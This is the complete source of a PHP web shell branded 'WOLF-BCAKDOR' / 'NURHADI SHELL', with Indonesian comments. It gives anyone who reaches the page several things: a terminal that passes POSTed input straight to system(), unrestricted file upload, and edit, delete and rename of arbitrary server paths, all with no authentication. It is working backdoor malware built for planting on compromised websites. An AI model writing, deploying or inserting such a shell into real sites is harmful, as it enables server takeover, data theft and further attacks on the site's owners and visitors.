<?php
// Fungsi untuk membaca direktori dan menampilkan daftar file dan folder
function listFiles($dir) {
    $files = scandir($dir);

    // Pisahkan folder dan file
    $folders = [];
    $regularFiles = [];
    foreach ($files as $file) {
        if ($file !== '.' && $file !== '..') {
            $filePath = $dir . DIRECTORY_SEPARATOR . $file;
            if (is_dir($filePath)) {
                $folders[] = $file;
            } else {
                $regularFiles[] = $file;
            }
        }
    }

    // Gabungkan folder dan file
    $sortedFiles = array_merge($folders, $regularFiles);

    // Tampilkan tabel
    echo '<table class="table table-dark table-hover table-bordered">';
    echo '<thead>
            <tr>
                <th style="font-size: 1rem;">File Name</th>
                <th style="font-size: 1rem;">Size</th>
                <th style="font-size: 1rem;">Actions</th>
            </tr>
          </thead>';
    echo '<tbody>';
    foreach ($sortedFiles as $file) {
        $filePath = $dir . DIRECTORY_SEPARATOR . $file;
        $fileSize = is_dir($filePath) ? '<span class="badge bg-primary">Folder</span>' : filesize($filePath) . ' bytes';
        echo '<tr>';
        echo '<td style="font-size: 0.9rem;">' . htmlspecialchars($file) . '</td>';
        echo '<td style="font-size: 0.9rem;">' . $fileSize . '</td>';
        echo '<td style="font-size: 0.9rem;">
                <a class="btn btn-sm btn-warning" href="?edit=' . urlencode($filePath) . '">Edit</a>
                <a class="btn btn-sm btn-danger" href="?delete=' . urlencode($filePath) . '">Delete</a>
                <a class="btn btn-sm btn-info" href="?rename=' . urlencode($filePath) . '">Rename</a>
              </td>';
        echo '</tr>';
    }
    echo '</tbody>';
    echo '</table>';
}

// Fungsi untuk mengunggah file (mengizinkan semua jenis file)
if (isset($_POST['upload'])) {
    $targetDir = isset($_GET['dir']) ? urldecode($_GET['dir']) : getcwd();
    $targetFile = $targetDir . DIRECTORY_SEPARATOR . basename($_FILES['fileToUpload']['name']);
    if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $targetFile)) {
        echo '<div class="alert alert-success">File uploaded successfully!</div>';
    } else {
        echo '<div class="alert alert-danger">Failed to upload file.</div>';
    }
}

// Fungsi untuk menghapus file
if (isset($_GET['delete'])) {
    $filePath = urldecode($_GET['delete']);
    if (is_file($filePath) && unlink($filePath)) {
        echo '<div class="alert alert-success">File deleted successfully!</div>';
    } else {
        echo '<div class="alert alert-danger">Failed to delete file.</div>';
    }
}

// Fungsi untuk mengedit file
if (isset($_GET['edit'])) {
    $filePath = urldecode($_GET['edit']);
    if (is_file($filePath)) {
        if (isset($_POST['newContent'])) {
            file_put_contents($filePath, $_POST['newContent']);
            echo '<div class="alert alert-success">File updated successfully!</div>';
        }
        $content = htmlspecialchars(file_get_contents($filePath));
        echo '<form method="POST" class="mb-4">';
        echo '<textarea name="newContent" rows="10" class="form-control mb-3">' . $content . '</textarea>';
        echo '<button type="submit" class="btn btn-primary btn-sm">Save Changes</button>';
        echo '</form>';
    }
}

// Fungsi untuk mengganti nama file
if (isset($_GET['rename'])) {
    $filePath = urldecode($_GET['rename']);
    if (is_file($filePath) || is_dir($filePath)) {
        if (isset($_POST['newName'])) {
            $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName'];
            if (rename($filePath, $newPath)) {
                echo '<div class="alert alert-success">File renamed successfully!</div>';
            } else {
                echo '<div class="alert alert-danger">Failed to rename file.</div>';
            }
        }
        echo '<form method="POST" class="mb-4">';
        echo '<input type="text" name="newName" class="form-control mb-3" placeholder="Enter new name" required>';
        echo '<button type="submit" class="btn btn-primary btn-sm">Rename</button>';
        echo '</form>';
    }
}

// Fungsi untuk menjalankan perintah terminal
if (isset($_POST['command'])) {
    $command = $_POST['command'];
    ob_start();
    system($command, $output);
    $result = ob_get_clean();
    echo '<div class="alert alert-secondary text-dark"><pre>' . htmlspecialchars($result) . '</pre></div>';
}

// Direktori saat ini
$currentDir = isset($_GET['dir']) ? urldecode($_GET['dir']) : getcwd();
?>

<!DOCTYPE html>
<html>
<head>
    <title>WOLF-BCAKDOR</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css2?family=Creepster&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Creepster', cursive;
            background-color: #000000;
            color: #ff0000;
            text-shadow: 0 0 10px #ff0000, 0 0 20px #8b0000;
        }
        .header img {
            width: 150px;
            height: 150px;
            margin-bottom: 15px;
            border-radius: 50%;
            border: 3px solid #8b0000;
            box-shadow: 0 0 15px #ff0000;
        }
        .header h1 {
            font-size: 3rem;
            margin: 0;
            color: #ff0000;
            text-shadow: 0 0 15px #8b0000, 0 0 30px #ff0000;
            animation: flicker 1.5s infinite alternate;
        }
        .container {
            max-width: 100%;
            margin: 0 auto;
            padding: 20px;
        }
        table {
            width: 100%;
            background-color: #121212;
            border: 1px solid #8b0000;
            color: #ffffff;
            text-shadow: 0 0 5px #8b0000;
            font-size: 1rem;
        }
        th, td {
            border: 1px solid #8b0000;
        }
        .btn {
            font-size: 0.9rem;
            background-color: #8b0000;
            border: none;
            color: #ffffff;
            box-shadow: 0 0 5px #ff0000;
        }
        .btn:hover {
            background-color: #ff0000;
            color: #000000;
        }
        pre {
            background-color: #121212;
            color: #ff0000;
            padding: 12px;
            border-radius: 5px;
            font-size: 1rem;
            text-shadow: 0 0 10px #8b0000;
        }
        @keyframes flicker {
            0% { opacity: 1; }
            50% { opacity: 0.8; }
            100% { opacity: 1; }
        }
        @media (max-width: 1200px) {
            .container {
                max-width: 90%;
            }
        }
        @media (max-width: 767px) {
            .header h1 {
                font-size: 2rem;
            }
            .container {
                max-width: 95%;
                padding: 10px;
            }
            .btn {
                font-size: 0.8rem;
            }
            table {
                font-size: 0.9rem;
            }
        }

        /* Gaya untuk judul Current Directory */
        h4 {
            font-size: 1.1rem;
            color: #ff0000; /* Mengubah warna teks menjadi merah */
            text-align: left;  /* Memastikan teks sejajar kiri */
            margin: 0;
        }
    </style>
</head>
<body>
    <div class="container mt-5 text-center">
        <div class="header">
            <img src="https://k.top4top.io/p_3348wl3am0.jpg" alt="Logo">
            <h1>NURHADI SHELL</h1>
        </div>

        <!-- Menampilkan direktori saat ini -->
        <h4>Current Directory: <span><?php echo htmlspecialchars($currentDir); ?></span></h4>

        <!-- Form Upload -->
        <form method="POST" enctype="multipart/form-data" class="mb-4">
            <div class="input-group mb-3">
                <input type="file" name="fileToUpload" class="form-control" required>
                <button type="submit" name="upload" class="btn btn-danger btn-sm">Upload</button>
            </div>
        </form>

        <!-- Terminal -->
        <h4 class="mt-5">Terminal</h4>
        <form method="POST" class="mb-4">
            <div class="input-group mb-3">
                <input type="text" name="command" class="form-control" placeholder="Enter command" required>
                <button type="submit" class="btn btn-danger btn-sm">Execute</button>
            </div>
        </form>

        <?php
        // Menampilkan daftar file dan folder
        listFiles($currentDir);
        ?>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>